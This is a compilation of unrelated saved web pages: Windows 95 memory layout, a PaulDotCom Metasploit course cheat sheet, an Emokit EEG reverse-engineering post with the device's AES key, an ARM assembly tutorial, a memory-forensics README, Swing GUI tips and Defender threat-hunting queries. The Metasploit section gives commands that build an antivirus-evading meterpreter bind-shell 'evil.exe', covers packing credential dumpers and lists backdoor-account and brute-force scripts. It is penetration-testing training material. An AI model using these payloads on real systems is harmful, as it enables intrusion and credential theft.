executable at 0x00010000, and many applications did just that.

But on Windows 95, there was a lot of stuff already there. The Windows 95
virtual machine manager permanently maps the first 64KB of physical memory to
the first 64KB of virtual memory in order to avoid a CPU erratum. \(Windows 95
had to work around a lot of CPU bugs and  firmware bugs.\) Furthermore, the
entire first megabyte of virtual address space is mapped to the logical
address space of the active virtual machine. \(Nitpickers:  actually a little
more than a megabyte.\) This mapping behavior is required by the x86
processor's virtual-8086 mode.

Windows 95, like its predecessor Windows 3.1, runs Windows in a special
virtual machine \(known as the System VM\), and for compatibility it still
routes all sorts of things through 16-bit code  just to make sure the decoy
quacks the right way. Therefore, even when the CPU is running a Windows
application \(as opposed to an MS-DOS-based application\), it still keeps the
virtual machine mapping active so it doesn't have to do page remapping \(and
the  expensive TLB flush that comes with it\) every time it needs to go to the
MS-DOS compatibility layer.

Okay, so the first megabyte of address space is already off the table. What
about the other three megabytes?

Now we come back to that little hint at the top of the article.

In order to make context switching fast, the Windows 3.1 virtual machine
manager "rounds up" the per-VM context to 4MB. It does this so that a memory
context switch can be performed by simply updating a single 32-bit value in
the page directory. \(Nitpickers: You also have to mark  instance data pages,
but that's just flipping a dozen or so bits.\) This rounding causes us to lose
three megabytes of address space, but given that there was four gigabytes of
address space, a loss of less than one tenth of one percent was deemed a fair
trade-off for the significant performance improvement. \(Especially since no
applications at the time came anywhere near beginning to scratch the surface
of this limit. Your entire computer had only 2MB of RAM in the first place\!\)

This memory map was carried forward into Windows 95,  with some tweaks to
handle separate address spaces for 32-bit Windows applications. Therefore, the
lowest address an executable could be loaded on Windows 95 was at 4MB, which
is 0x00400000.

Geek trivia: To  prevent Win32 applications from accessing the MS-DOS
compatibility area, the flat data selector was actually an expand-down
selector which stopped at the 4MB boundary. \(Similarly, a null pointer in a
16-bit Windows application would result in an access violation because the
null selector is invalid. It would not have accessed the interrupt vector
table.\)

The linker chooses a default base address for executables of 0x0400000 so that
the resulting binary can load without relocation on both Windows NT and
Windows 95. Nobody really cares much about targeting Windows 95 any more, so
in principle, the linker folks could choose a different default base address
now. But there's no real incentive for doing it aside from making diagrams
look prettier. And besides, if they changed it, then people would be asking,
"How come some executables have a base address of 0x04000000 and some
executables have a base address of 0x00010000?"

# Metasploit - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:58:05 PM_  
---|---  
**Updated:**| _8/5/2009 12:58:18 PM_  
**Author:**| __  
**Tags:**| _cheat sheets Metasploit_  
  

# Metasploit

## Contents

\[hide\]

  * 1 Introduction
  * 2 SEC553 Materials
  * 3 Setup Your Environment
  * 4 References & Resources
    * 4.1 PaulDotCom Technical Segments On Metasploit and Practical Usages
    * 4.2 Other Metasploit Related Resources
  * 5 Icecast Exploit
  * 6 Icecast Background Task
  * 7 HTTP Scanner
  * 8 Database: db\_nmap
  * 9 Custom Meterpreter Scripts
    * 9.1 Winenum In Action
    * 9.2 GetGui In Action
  * 10 Token Passing With Incognito
  * 11 Using Metasploit To Bypass Anti-Virus

  
---  
# Introduction

This page is presented without warranty or support. It is meant to provide
supplementary materials as a reference for Metasploit and is not part of any
official course material. Please direct all comments, questions, and
suggestions to psw@pauldotcom.com.

Thank You,

The PaulDotCom Team

# SEC553 Materials

The SANS course uses the following software:

  * **Metasploit** \- You can download and install Metasploit 3.2 For Linux Here

  * **Icecast** \- You can install this software on Windows XP and then use Metasploit to exploit it. You will need Icecast Version 2.0.1 For Windows Here

  * **Firefox** \- For the browser\_autopwn exercise you will need an older version of Firefox, Download Firefox Version 1.0.4 Here. This should also be installed on your Windows VM that you will be exploiting.

# Setup Your Environment

Using the "setg" command you can set global datastores \(variables\). Once
you've setup your RHOST, for example, you can issue the "save" command and
metasploit will write your global datastores to a config file in your home
directory in the ".msf" directory. Below is an example:

[code]

    msf > setg
    
    Global
    ======
    
      Name   Value           
      ----   -----           
      RHOST  192.168.169.30  
    
    msf > setg RHOST 192.168.169.40
    RHOST => 192.168.169.40
    msf > save
    Saved configuration to: /Users/paul/.msf3/config
    msf > setg
    
    Global
    ======
    
      Name   Value           
      ----   -----           
      RHOST  192.168.169.40  
    
    msf >
    
    
[/code]

# References & Resources

## PaulDotCom Technical Segments On Metasploit and Practical Usages

  * "karmetasploit" technical Segment: PaulDotCom Episode 114 \- Probably one of the most powerful features in Metasploit is its integration with Karma, a wireless attack that lets you become the access point for any probe SSID. Scripts allow you to do evil things to the client, such as steal cookies and Windows authentication credentials.

  * db\_autopwn Technical Segment: PaulDotCom Episode 124 \- Showcasing db\_autopwn's features, including Nmap & Nessus integration.

  * WPAD Attacks and Metasploit: Technical Segment Episode 138 \- Another way to "get in the middle" with Metasploit and showcase some of the cool things it can do.

## Other Metasploit Related Resources

  * http://www.oldapps.com \- Find older versions of Software

  * Null Byte in Shellcode problem - http://books.google.com/books?id=ZNI5dvBSfZoC&pg=RA1-PA341&lpg=RA1-PA341&dq=avoid+null+byte+in+shellcode&source=web&ots=YpBNIuucix&sig=NeqTImK-5qtznvt7Q1S2V5ELifc&hl=en&sa=X&oi=book\_result&resnum=4&ct=result

  * RevertToSelf system call - http://technet.microsoft.com/en-us/library/cc750021.aspx

  * SEH Exploit Example - http://www.securityforest.com/wiki/index.php/Exploit:\_Stack\_Overflows\_-\_Exploiting\_SEH\_on\_win32

  * SEH "Whitepaper" - http://www.thc.org/download.php?t=p&f=Practical-SEH-exploitation.pdf

  * Free Metasploit Online Book \(Wikibook\) - http://en.wikibooks.org/wiki/Metasploit/Contents

  * Paul's Delicious Bookmarks With Tag "Metasploit" \(They are yummy\!\)

# Icecast Exploit

<img src='img/Temp2_5301.png' width='914' height='892' alt='Image:Icecast
exploit.png' />

# Icecast Background Task

<img src='img/Temp2_5306.png' width='771' height='612' alt='Image:Icecast
background.png' />

# HTTP Scanner

<img src='img/Temp2_5305.png' width='874' height='269' alt='Image:Http
scanner.png' />

# Database: db\_nmap

<img src='img/Temp2_5302.png' width='893' height='506' alt='Image:Db nmap.png'
/>

# Custom Meterpreter Scripts

Go to http://darkoperator.blogspot.com/ and review the available downloads:

  * **gettelnet** \- This script will enable telnet service on the target machine if it is running Windows 2003 or higher, in the case of Windows Vista and Windows 2008 that do not have the service installed by default the script will install the service and configure it to start automatically, in addition a username and password can be provided so that a local account with administrative privelages can be created and placed in the apropiate groups.
  * **remotewinenun** \- This script will run wmic command enumerating diferent settings from a target computer using the credential of the process under withc meterpreter is running under, a username and password can also be provided.
  * **Winenum** \- general windows enumeration script for gathering all kinds of information from windows host adapting the commands and informatio gathered to the version of windows where is ran at.
  * **Netenum** \- network enumeration script for performing basic network enumeration of the target enviroment. It will perform ping sweeps, hostname bruteforce, reverse lokkups on ranges and general DNS record enumeration.
  * **Winbf** \- it will perform loging brute force attacks against winown logins using dictionaries against a single login or a list of usernames. It will also enumerate the current windows account lockout and lenght policy so the user will be able to better tailor the attack.
  * **Getgui** \- script for enabling RDP and for creating an account adding it to the appropiate groups to be able to get Remote Desktop on the target machine.

Now go to this directory "<metasploit dir>/scripts/meterpreter/" and download
the scripts:

[code]

    wget http://metasploit.com/svn/framework3/trunk/scripts/meterpreter/getgui.rb
    wget http://metasploit.com/svn/framework3/trunk/scripts/meterpreter/winbf.rb
    wget http://metasploit.com/svn/framework3/trunk/scripts/meterpreter/netenum.rb
    wget http://metasploit.com/svn/framework3/trunk/scripts/meterpreter/winenum.rb
    wget http://metasploit.com/svn/framework3/trunk/scripts/meterpreter/remotewinenum.rb
    wget http://metasploit.com/svn/framework3/trunk/scripts/meterpreter/gettelnet.rb
    
[/code]

Check out cool posts from "Darkoperator":

http://forum.pauldotcom.com/search.php?search\_id=1583029610

Bonus: Find and run the custom script darkoperator wrote for PaulDotCom.

## Winenum In Action

<img src='img/Temp2_5303.png' width='1101' height='846'
alt='Image:Winenum.png' />

## GetGui In Action

<img src='img/Temp2_5304.png' width='828' height='252' alt='Image:Getgui.png'
/>

# Token Passing With Incognito

I did not have a domain to test with, so this example is pretty silly.
However, the bottom line here is that you can jump from a local admin account
to a domain admin account in most cases. I think this is a pretty big security
hole, Microsoft does not and dismisses it as "working by design". Below is an
example:

<img src='img/Temp2_5307.png' width='808' height='630'
alt='Image:Incognito.png' />

  

  * Another great tool for this is gsecdump

  * Check out carnal0wnage blog post for more information. Even more interesting is the comments that link to another resource which \*claims\* to be able to copy the SAM database without Admin privs. It is somehow able to bypass the file restrictions/permissions by accessing the hard drive directly. We have not tested this.

# Using Metasploit To Bypass Anti-Virus

  * Bypassing Anti-Virus Software - Script Kiddie Style: PaulDotCom Episode 125 Technical Segment

After we gave the above tech segment, some corrections were posted by Mark
Bagget:

http://www.indepthdefense.com/2008/12/msfencoding-tips-and-sans-cdi.html

So we end up with the following commands to create msf payloads that bypass
anti-virus software:

[code]

    bash-3.2# ./msfpayload windows/meterpreter/bind_tcp LPORt=4444 R | ./msfencode -t exe -o evil.exe
    [*] x86/shikata_ga_nai succeeded, final size 335
    
    bash-3.2# md5 evil.exe
    MD5 (evil.exe) = a4c3438633637f37ab10cd16dc9de353
    bash-3.2# ./msfpayload windows/meterpreter/bind_tcp LPORt=4444 R | ./msfencode -t exe -o evil.exe
    [*] x86/shikata_ga_nai succeeded, final size 335
    
    bash-3.2# md5 evil.exe
    MD5 (evil.exe) = 25c08351d3bcdfa08da60509a17ee631
    
[/code]

NOTE: Metasploit is not a packer, so it does not have a facility to take a
binary payload and "pack" it. We've had great luck using UPX and PEScrambler
for this purpose. Unfortunately, the PEScramber web site has been taken down.
I do have a copy, and have been known to share :\) For UPX, you can take any
windows binary and do this \(using gsecdump.exe as an example\):

[code]

    c:\> upx -2 -o gsecupx.exe gsecdump.exe
    
[/code]

# Circuit Diagram

**Created:**| _3/23/2012 12:06:10 PM_  
---|---  
**Updated:**| _3/23/2012 12:06:10 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_1461.png' alt='Circuit Diagram' />

# Announcement.md at master from daeken's Emokit - GitHub

**Created:**| _9/16/2010 10:00:08 AM_  
---|---  
**Updated:**| _9/17/2010 2:15:10 PM_  
**Author:**| __  
**Tags:**| _research reversing_  
  

Intro  

I've been interested in the Emotiv EPOC headset for a while; a $300 14-sensor
EEG. It's intended for gaming, but it's quite high quality. There's a research
SDK available for $750, but it's Windows-only and totally proprietary. I
decided to hack it, and open the consumer headset up to development. Thanks to
donations I got some hardware in hand this weekend.

I'm happy to announce the Emokit project, an open source interface to the
EPOC. The goal is to open it up to development and enable new products and
research. For the first time, we have access to a high-quality EEG for $300 --
this is huge.

# Code

The code is available on github on the daeken/Emokit repository. There's a
Python library for interacting with the EPOC, as well as a renderer that will
graph the sensor data.

<img src='img/Temp2_839.png' width='772' height='470' alt='Graph in debug
mode' />

# Where things are right now

You can access raw EEG data from the Emotiv EPOC on Windows, Linux, and OS X
from Python. While it's not known exactly which sensors are which in the data
\(read below for more info\), it's close to being useful already. Word of
warning: this project is less than 48 hours old \(I just got hardware in my
hands Saturday night\) and has only been run by me on Windows due to a dead
Linux box. It's very much alpha quality right now -- don't trust it.

# How it happened

The first step was to figure out how exactly the PC communicates with it. This
part was straightforward; it's a USB device with VID=21A1, PID=0001 \(note:
from walking through the device enum code in the EDK, it seems that PID=0002
might be the development headset, but that's totally unverified\). It presents
two HID interfaces, "EPOC BCI" and "Brain Waves". Reading data off the "Brain
Waves" interface gives you reports of 32 bytes at a time; "EPOC BCI" I'm
unsure about.

Next step was to read some data off the wire and figure out what's going on. I
utilized the pywinusb.hid library for this. It was immediately apparent that
it's encrypted, so figuring out what the crypto was became the top priority.
This took a couple hours due to a few red herrings and failed approaches, but
here's what it boiled down to:

  * Throw EmotivControlPanel.exe into IDA.
  * Throw EmotivControlPanel.exe into PeID and run the Krypto Analyzer plugin on it.
  * You'll see a Rijndael S-Box \(used for AES encryption and key schedule initialization\) come up from KAnal.
  * Using IDA, go to the S-Box address.
  * You'll see a single function that references the S-Box -- this is the key initialization code \(_not_ encryption, as I originally thought\).
  * Use a debugger \(I used the debugger built into IDA for simplicity's sake\) and attach to the beginning of the key init function.
  * You'll see two arguments: a 16-byte key and an integer containing `16`.

So that you don't have to do that yourself, here's the key:
31003554381037423100354838003750 or `1\x005T8\x107B1\x005H8\x007P`. Given
that, decrypting the data is trivial: it's simply 128-bit AES in ECB mode,
block size of 16 bytes.

The first byte of each report is a counter that goes from 0-127 then to 233,
then cycles back to 0. Once this was determined, I figured out the gyro data.
To do that, I broke out pygame and wrote a simple app that drew a rectangle at
the X and Y coords coming from two bytes of the records. I pretty quickly
figured out that the X coord from the gyro is byte 29 and the Y coord is byte
30. The EPOC has some sort of logic in it to reset the gyro baseline levels,
but I'm not sure on the details there; the baseline I'm seeing generally \(not
perfect\) is roughly 102 for X and 204 for Y. This lets you get control from
the gyro fairly easy.

That accounts for 3 bytes of the packet, but we have 14 sensors. If you assume
that each sensor is represented by 2 bytes of data, that gives us 28 bytes for
sensor data. 32 - 28 == 4, so what's the extra byte? Looking at byte 15, it's
pretty clear that it's \(almost\) always zero -- the only time it's non-zero
is the very first report from the device. I have absolutely no idea what this
is.

From here, all we have is data from the sensors. Another quick script with
pygame and boom, we have a graph renderer for this data.

However, here's where it gets tough. Figuring out which bytes correspond to
which sensors is difficult, because effectively all the signal processing and
filtering happens on the PC side, meaning it's not in this library yet.
Figuring out the high bytes \(which are less noisy and change less
frequently\) isn't terribly difficult, and I've identified a few of them, but
there's a lot of work to be done still.

# What needs to be done

Reversing-wise:

  * Determine which bytes correspond to which signals -- I'm sure someone more knowledgable than myself can do this no problem
  * Figure out how the sensor quality is transmitted -- according to some data on the research SDK, there's 4 bits per sensor that give you the signal quality \(0=none, 1=very poor, 2=poor, 3=decent, 4=good, 5=very good\)
  * Figure out how to read the battery meter

Emokit-wise:

  * Linux and OS X support haven't been tested at all, but they should be good to go
  * Build a C library for working with the EPOC
  * Build an acquisition module for OpenViBE

# Get involved

## Contact us

I've started the \#emokit channel on Freenode and I'm idling there
\(nick=Daeken\).

## How you can help

I'm about to get started on an acquisition module for OpenViBE, but someone
more knowledgable than myself could probably do this far more quickly.
However, the reversing side of things -- particularly figuring out the sensor
bytes -- would be much more useful.

# Summary

I hope that the Emokit project will open new research that was never possible
before, and I can't wait to see what people do with this. Let me know if you
have any questions or comments.

Happy Hacking,  
\- Cody Brocious \(Daeken\)

<img src='img/Temp2_838.png' alt='Dedicated Server' /> Powered by the
Dedicated Servers and  
Cloud Computing of Rackspace Hosting®

  * Blog
  * Support
  * Training
  * Job Board
  * Shop
  * Contact
  * API
  * Status

  * © 2010 GitHub Inc. All rights reserved.
  * Terms of Service
  * Privacy
  * Security

  * English
  * Deutsch
  * Français
  * 日本語
  * Português \(BR\)
  * Русский
  * 中文
  * See all available languages

### Your current locale selection: **English**. Choose another?

  * English
  * Afrikaans
  * Català
  * Čeština

  * Deutsch
  * Español
  * Français
  * Hrvatski

  * Indonesia
  * Italiano
  * 日本語
  * Nederlands

  * Norsk
  * Polski
  * Português \(BR\)
  * Русский

  * Српски
  * Svenska
  * 中文

# Vikram and Neha: Android ARM Assembly: Conditional execution \(Part 7\)

**Created:**| _9/18/2011 7:53:00 AM_  
---|---  
**Updated:**| _9/18/2011 7:53:00 AM_  
**Author:**| __  
**Tags:**| _asm android arm_  
  

### Android ARM Assembly: Conditional execution \(Part 7\)

This is part seven in a series on learning ARM assembly on Android. This part
covers conditional execution.  
  
Part 1: Motivation and device set up  
Part 2: A walk-through of a simple ARM assembly program  
Part 3: Registers, memory, and addressing modes  
Part 4: Gnu tools for assembly; GCC and GDB  
Part 5: Stack and Functions  
Part 6: Arithmetic and Logical Expressions  
=> Part 7: Conditional Execution  
Part 8: Assembly in Android code  
  
The articles follow in series, each article builds on the previous.  
  
Compare and Jump  
The previous lessons touched on a variety of microprocessor instructions.
Let's move to conditional execution. These are the basis of all the if, while,
for loops in programming languages.  
  
Conditions are implemented in microprocessors using the Status Register CPSR.
The various bits on the status register are set using instructions. Then, you
can jump to a different position in the code if the specific bit is set or
unset. While this scheme looks primitive, it forms the basis of all
conditional execution in every language on computers. Let's see the status
register again.  
  
The conditions in the status register are:  

  1. Negative: the result was negative \(bit 31 of the result was set\)
  2. Zero: the result was zero \(all bits of the result were unset\)
  3. Carry: integer addition, subtraction or shifts produce a carry or borrow \(result bits could be anything\)
  4. oVerflow: there was carry or borrow during signed addition or subtraction \(result bits could be anything\)

The status register has other bits relating to the different processor modes,
but we can ignore them for now. The bits in the CPSR are set on four
instructions: CMP, CMN, TEQ, TST. Let's see these instructions.  
  
CMP Rn, shifter\_operand  
  
This performs Rn \- shifter\_operand, throws away the result and updates the
status register. So doing a CMP R2, R2 would produce a zero output, and the
Zero condition would be set. It is important to note that the result is never
stored anywhere. From your perspective, you are asking the processor what the
result would be like.  
  
This is a full list of the comparison instructions.  
  
Instruction| Rough Intention| The condition flags are set based on this value  
---|---|---  
CMP Rn, shifter\_operand| \(Addition\)| Rn \- shifter\_operand  
CMN Rn, shifter\_operand| \(Negation\)| Rn \+ shifter\_operand  
TST Rn, shifter\_operand| \(Test\)| Rn & shifter\_operand  
TEQ Rn, shifter\_operand| \(Test Equivalence\)| Rn ^ shifter\_operand  
  
Once the condition is set, you can use that condition to jump to a specific
label. The easiest jump instruction doesn't care for flags. We saw it in part
5, where it was used to return execution back from our function.  

[code]

            bx      lr
[/code]

This instruction branched execution to the address contained in the Link
Register. This could be done with any register, though you better be sure that
the register contains a valid address. It also needs to be a 32-bit aligned
address. All ARM instructions are 32-bit \(word\) aligned. This isn't Intel,
every instruction is exactly 32 bits long. BX is a Branch, while BL is a
Branch and Link.  
  
Branch just jumps to the address specified in the register.  
  
Branch and Link stores the address of the existing Program Counter in the Link
Register, in case you want to jump back. This is something you do all the
time, so there is one instruction to handle it.  
  
ARM and Thumb Instructions  
Most new ARM processors support two different instruction sets: ARM and Thumb.
Thumb instructions are a subset of ARM instructions and are 16 bits each.
Going back and forth between ARM and Thumb is possible, though it should be
done correctly. The branch instructions ending in "X" do this. A "BX"
instruction allows you to switch between ARM and Thumb while the "B"
instruction doesn't. In general, you should use "BX" and "BLX" when you are
unsure of the resulting code. If you are certain, you can use "B" for branch,
and "BL" for branch and link.  
  
Condition Codes  
How about adding the actual condition? The condition goes as a suffix to the
instruction. Say you only want to check if the Zero condition was true. Then,
the condition is called EQual, with mnemonic EQ. So this operation only
branches when the zero condition is set:  
BLEQ lr  
  
The full list of conditions is:  
Suffix| Meaning| Condition tested  
---|---|---  
EQ| Equal| Z == 1  
NE| Not Equal| Z == 0  
CS or HS| Unsigned Higher or Same \(Carry Set\)| C == 1  
CC or LO| Unsigned Lower \(Carry Clear\)| C == 0  
MI| MInus| N == 1  
PL| PLus or Zero| N == 0  
VS| Overflow \(V Set\)| V == 1  
VC| No Overflow \(V Clear\)| V == 0  
HI| Unsigned Higher| C == 1 and Z == 0  
LS| Unsigned Lower or Same| C == 0 or Z == 1  
GE| Signed Greater Than or Equal| N == V  
LT| Signed Lesser Than | N \!= V  
GT| Signed Greater Than | Z == 0 and N == V  
LE| Signed Less Than or Equal To| Z==1 or N \!= V  
AL| Always|  
  
  
So you could have an instruction BXNE r3, which will branch to r3, only if the
previous comparison did not set the Zero condition code.  
  
Conditional Execution  
Let's look at a single if-then loop to see how to run a simple conditional in
Assembly.  

[code]

     1         .section        .data
     2         .align 2
     3 higher:
     4         .asciz "Yes, r2 is higher than or equal to r1\n"
     5 lower:
     6         .asciz "No, r2 is lower than r1\n"
     7 
     8         .text
     9         .align  2
    10         .global main
    11         .**type**   main, %**function**
    12 main:
    13         stmfd   sp!, {fp, lr}
    14 
    15         @ Load some values
    16         mov     r1, #32
    17         mov     r2, #33
    18 
    19         @ Check if r2 is lower than r1
    20         cmp     r2, r1
    21 
    22         @ If it is greater or equal, jump ahead
    23         bge     greaterOrEqual
    24 
    25         @ Otherwise it was lower
    26         ldr     r0, =lower
    27         @ Now skip past to the common point again
    28         b       common
    29 
    30 greaterOrEqual:
    31         ldr     r0, =higher
    32 
    33 common:
    34         @ Print the message
    35         bl      puts
    36 
    37         @ Return 0
    38         mov     r0, #0
    39         ldmfd   sp!, {fp, lr}
    40         bx      lr
    
[/code]

  
This program loads values in r2 and r3 and then compares the two. If \(r2-r1\)
is greater than or equal to 0, then we skip to the greaterOrEqual label. Since
there are only one kind of instructions \(ARM instructions\), we don't bother
with the "X" variant of the branch. At the greaterOrEqual label, we move the
string corresponding to the higher message. Otherwise, we move the string
corresponding to the lower message into r0. Either case, we want to get to the
common code, which prints the message, and returns 0. If we didn't return to
the common case, it would continue running instructions linearly, and load r0
with the higher message. Then, we return 0, like every well behaved main\(\)
function should.  
  
The Program Counter holds the address that will be executed next. Since it is
also r15, you can directly modify it. This is a terrible idea in most cases,
so you should have a good reason to do this. In theory, you could implement
logic by conditionally moving values into the Program Counter. For example,
you could add 8 to the current value in the PC to skip an instruction. In
practice, you will not do this because it is prone to errors. Such logic fails
when the program is modified, and the address of instructions changes.  
  
  
Every Instruction is Conditional  
Now that you know what conditional execution looks like, you are ready for a
real twist. In ARM architectures, every instruction is conditional. So the
ADD, SUB, LDR, STR instructions can all have these condition codes appended to
them. We could write instructions containing very few BX or BLX calls.  
  
In practice, however, you should use conditional operations only for a single
instruction or two. If you find that a lot of operations act on the same
condition, you should branch and skip all these operations. This is much more
efficient, since ARM processors fetch more than one instruction and act upon
parts of it in parallel. If you can start to execute the next few
instructions, your code is considerably faster. So as a rule, use conditional
operations only for two instructions or fewer. If you have a longer list of
conditional operations that depend on the same condition, pull them out in a
separate routine.  
  
In addition to every instruction being conditional, every instruction can set
the CPSR flags. For this, you need to append the "S" flag \(for Status\) to
every instruction. Here is what a MOV instruction really looks like:  
MOV\{condition\_code\}\{S\} Rd, shifter\_operand  
This allows you to set the status flag without performing a CMP, saving
another instruction. The status flag can be set on most operations you have
seen till now. So you can automatically set the condition codes when
performing arithmetic operations.  
  
Exercises  
Try your hand at these to see if you understand branches.  

  1. What does the MOVGE r0, r2 instruction do?
  2. Rewrite the program to use just one branch rather than two.
  3. Rewrite the program using conditional move to avoid a branch. In this case, a conditional move is perhaps cleaner since the condition only changes one instruction.
  4. Write a function isZero\(n\) to accept an unsigned number n and to return 1 if n is equal to 0 and n otherwise.
  5. Improve on isZero\(\) to write almostFactorial\(n\) which returns n\*\(n-1\) if n is not zero, and 1 otherwise.
  6. Try your hand at turning almostFactorial\(n\) to factorial\(n\) which returns n\! for small values of n. As n gets large, you run out of bits, so you will need to test your function with small inputs.
  7. Write a simple while \{ .. \} loop in C and let GCC compile it to assembly. See if you can make sense of the code. GCC can compile code with optimisations turned on with the "-O2" flag. Try to read the assembly output with and without optimisations. See if you can figure out the optimisation logic.

This marks the end of all the functional pieces of ARM architecture. You
should be able to read the disassembly of nearly any ARM program now. Isn't
that impressive? Look up unknown instructions in the reference manual. As
always, the ARM Reference Manual has more information on all condition codes,
conditional execution and instructions that accept conditions and can set the
flags.  
  
The final piece will be to integrate this with Android. We will see how to
call assembly code from Android to be able to run fast processing directly in
assembly.

# mozilla/masche

**Created:**| _4/9/2015 9:25:05 PM_  
---|---  
**Updated:**| _4/9/2015 9:25:05 PM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  
  

# MASCHE

<img
src='img/687474703a2f2f692e696d6775722e636f6d2f5633454d6a73776d2e6a7067.jpg'
width='320' height='218' alt='MASCHE image (Javier Mascherano)' /> **MIG
Memory Forensic library**

**MASCHE** stands for **Memory Analysis Suite for Checking the Harmony of
Endpoints**. It is being developed as a project for the _Mozilla Winter of
Security program_.

It works on **Linux** , **Mac OS** and **Windows**.

These are the current features:

  * listlibs: Searches for processes that have loaded a certain library.
  * pgrep: Has the same functionallity as pgrep on linux.
  * memaccess/memsearch: Allows access and search into a given process memory.

You can find examples under the examples folder.

##  Compiling

You need ` golang ` installed.

###  Linux

You need glibc for 64 and 32 bits installed. On Fedora, the packages are:

  * glibc-devel.i686
  * glibc-devel.x86\_64
  * glibc-headers.i686
  * glibc-headers.x86\_64
  * glibc.i686
  * glibc.x86\_64

###  Windows

In order to compile and run masche in windows you will need a gcc compiler.
You can use mingw if you are running a 32 bits version of Windows or mingw-64
if you are running a 64 bits one. Just run ` go build ` on the package/example
that you want.

It's possible to cross-compile from linux. And this is the recommended way.

  * Install a cross compiler \(for example, ` mingw-w64 `\)
  * Enable cross compiling in your go toolchain \(run ` GOOS=windows ./all.bash ` inside your ` $GOROOT/src ` folder\)

After that you should be able to cross compile masche without problems, just
make sure to export the correct global variables: ` GOOS=windows ` `
CGO_ENABLED=1 ` ` CC=<your-cross-compiler> ` \(for example: `
CC=x86_64-w64-ming32-gcc ` \)

  

# Java AWT/SWT/Swing: How to plan a GUI? - Stack Overflow

**Created:**| _4/22/2010 3:56:47 PM_  
---|---  
**Updated:**| _4/22/2010 6:38:15 PM_  
**Author:**| __  
**Tags:**| __  
  

I'm not a big fan of GUI builders: They typically autogenerate bucket-loads of
code that then locks in your whole development team to using one IDE. Also,
this code is often unreadable \(check the code generated when using Matisse
under Netbeans\).

My recommendations for GUI design / debugging would be:

  * Add a `main` method to each panel \(or "top-level" component\) implementation, allowing other developers to easily determine what a component looks like.
  * Favour the use of `Action`s over `ActionListener`s and register these actions with each `JComponent`'s `ActionMap`. This allows them to be "extracted" and added to other parts of the UI \(e.g. `JToolBar`\) whilst still having their state controlled by the "owning" `JComponent` \(i.e. loose coupling\).
  * Use assert to ensure that all UI component modifications are occurring on the Event Dispatch thread; e.g. `assert SwingUtilities.isEventDispatchThread()`.
  * To debug strange layout behaviour consider painting a component's background in red\!
  * Centralise the capturing and reporting of workflow events and exceptions. For example, I typically implement a`TaskManager` class that is registered with my UI's status bar. Any background processing \(performed within`SwingWorker`s\) is passed a handle to a `Task` created by the `TaskManager`. Interracting with the Task \(by calling`setDescription(String)`, `setThrowable(Throwable)`, `cancel()`\) causes the status bar to be updated. It also causes the glass pane to be displayed for "global" tasks ... but this is all decoupled / hidden from the individual SwingWorkers.
  * Do not use the `Observer` / `Observable` classes, but instead favour `ChangeListener`, `PropertyChangeListener`or your own custom listener implementation for propagating events. `Observer` passes an `Object` as it's event, forcing client code to check the type using instanceof and to perform downcasts, making code unreadable and making relationships between classes less clear.
  * Favour the use of `JTable` over `JList`, even in situations where your table only has one column. `JList` has some nasty features in its API, including the fact that you need to provide a prototype value for it to calculate its size correctly.
  * Never use `DefaultTableModel` as it typically results in you storing your "model" data in two places: In your actual business objects and also within the 2D array that `DefaultTableModel` sits on. Instead, simply subclass`AbstractTableModel` \- It's **very easy** to do this and means your implementation can simply delegate through to the data structure \(e.g. `List`\) storing your data.

# Unleash the Hunter in You

**Created:**| _4/18/2018 4:59:02 PM_  
---|---  
**Updated:**| _4/18/2018 4:59:02 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

With the new Advanced Hunting capability on Windows Defender Advanced Threat
Protection, you have even more powerful tools for successfully tracking and
identifying advanced persistent threats. To help get you started, here are
some examples that will give you a feel of Advanced Hunting and how it can
help with your day-to-day hunting tasks. These examples cover new
vulnerabilities as well as classic techniques used by attackers in the wild.

**0-day Flash exploit attacks**

  * **Vulnerability overview** : Zero-day remote code execution \(RCE\) exploit for the Adobe Flash Player vulnerability CVE-2018-4878 actively being used in the wild. Check out this blog post for more details.
  * **Query goal:** Finds characteristics related to attacks. This query checks for specific processes and URLs used in the attack.
  * **Query:**

NetworkCommunicationEvents

| where EventTime > ago\(14d\)

| where InitiatingProcessFileName =~ "cmd.exe" and InitiatingProcessParentName
=~ "excel.exe"

| where RemoteUrl endswith ".kr"

| project EventTime, ComputerName, RemoteIP, RemoteUrl

| top 100 by EventTime

**Attacks exploiting the Electron framework vulnerability **

  * **Vulnerability overview** : Electron is a node.js, V8, and Chromium framework created for the development of cross-platform desktop apps. The vulnerability affects Electron apps that use custom protocol handlers. Read this article for more details.
  * **Query goal:** The query checks process command lines to find machines where there have been attempts to exploit the Protocol Handler Vulnerability, which affects apps that are based on the Electron platform, such as Skype, Teams, and Slack, and are registered as default protocol handlers.
  * **Query:**

ProcessCreationEvents

| where EventTime > ago\(14d\)

| where FileName in \("code.exe", "skype.exe", "slack.exe", "teams.exe"\)

| where InitiatingProcessFileName in \("iexplore.exe", "runtimebroker.exe",
"chrome.exe"\)

| where ProcessCommandLine has "--gpu-launcher"

| summarize FirstEvent=min\(EventTime\), LastEvent=max\(EventTime\) by
ComputerName, ProcessCommandLine, FileName, InitiatingProcessFileName

**Enumeration of users/groups for lateral movement**

  * **Background** : Enumeration of users and groups is an attacker activity commonly preceding privilege escalation and lateral movement attempts. These resources are typically enumerated to identify possible targets for compromise within the breached network.
  * **Query goal:** The query finds attempts to list users or groups using Net commands.
  * **Query:**

ProcessCreationEvents

| where EventTime > ago\(14d\)

| where FileName == 'net.exe' and AccountName \!= "" and ProcessCommandLine
\!contains '\\\'  and ProcessCommandLine \!contains '/add'

| where \(ProcessCommandLine contains ' user ' or ProcessCommandLine contains
' group '\) and \(ProcessCommandLine endswith ' /do' or ProcessCommandLine
endswith ' /domain'\)

| extend Target = extract\("\(?i\)\[user|group\] \(\"\*\[a-zA-Z0-9-\_
\]+\"\*\)", 1, ProcessCommandLine\)

| filter Target \!= ''

| project AccountName, Target, ProcessCommandLine, ComputerName, EventTime

| sort by AccountName, Target

**Sticky key attacks**

  * **Background** : The sticky key accessibility program \(sethc.exe\) is often used to launch attacks because it can be launched without signing in to Windows. Attackers often replace this accessibility program with more powerful applications like cmd.exe to perform more complex tasks. For more information about sticky key attacks, read this article by the MITRE ATT&CK™ team.
  * **Query goal:** This query looks for attempts to launch cmd.exe in place of accessibility programs.
  * **Query:**

let PrevalentCmdExeHash =

ProcessCreationEvents

| where EventTime > ago\(14d\)

| where FileName =~ 'cmd.exe'

